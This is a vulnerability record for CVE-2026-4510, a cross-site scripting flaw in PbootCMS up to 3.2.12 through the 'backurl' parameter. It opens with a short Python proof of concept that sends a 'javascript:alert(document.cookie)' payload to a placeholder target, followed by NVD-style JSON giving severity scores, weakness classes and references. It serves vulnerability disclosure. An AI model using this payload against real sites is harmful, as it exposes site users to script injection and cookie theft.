CVE-2026-4510

# PoC for CVE-2026-4510 # The vulnerability exists in the 'backurl' parameter # Targeting PbootCMS <= 3.2.12 # Step 1: Identify the vulnerable endpoint (e.g., Member login/logout) # Step 2: Inject payload into the 'backurl' parameter import requests target_url = "http://target.com/index.php" payload = "javascript:alert(document.cookie)" # Example request structure params = { "p": "Member", "c": "login", "a": "out", # or relevant action triggering alert_location "backurl": payload } # Send request response = requests.get(target_url, params=params) # If the script is reflected in the response without proper sanitization, # the browser will execute the alert when the user interacts with the page. print(f"Payload URL: {response.url}")

{"cve": {"id": "CVE-2026-4510", "sourceIdentifier": "[email protected]", "published": "2026-03-21T07:16:10.627", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in PbootCMS up to 3.2.12. This impacts the function alert_location of the file apps/home/controller/MemberController.php of the component Parameter Handler. This manipulation of the argument backurl causes cross site scripting. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks."}, {"lang": "es", "value": "Se ha identificado una debilidad en PbootCMS hasta 3.2.12. Esto afecta a la función alert_location del archivo apps/home/controller/MemberController.php del componente Gestor de Parámetros. Esta manipulación del argumento backurl causa cross-site scripting. Es posible la explotación remota del ataque. El exploit se ha puesto a disposición del público y podría usarse para ataques."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/zzj-create/cvetest/blob/main/VULN-05_BACKURL_OPEN_REDIRECT_XSS_REPORT_EN.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.352076", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352076", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.773904", "source": "[email protected]"}]}}